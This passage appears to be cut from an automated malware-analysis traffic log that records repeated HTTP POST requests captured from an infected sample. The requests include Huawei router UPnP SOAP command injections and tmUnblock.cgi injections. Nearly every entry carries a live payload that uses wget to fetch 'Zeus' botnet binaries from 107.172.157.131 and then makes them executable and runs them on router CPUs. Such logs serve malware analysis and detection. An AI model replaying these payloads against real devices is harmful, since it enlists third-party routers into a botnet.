70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r 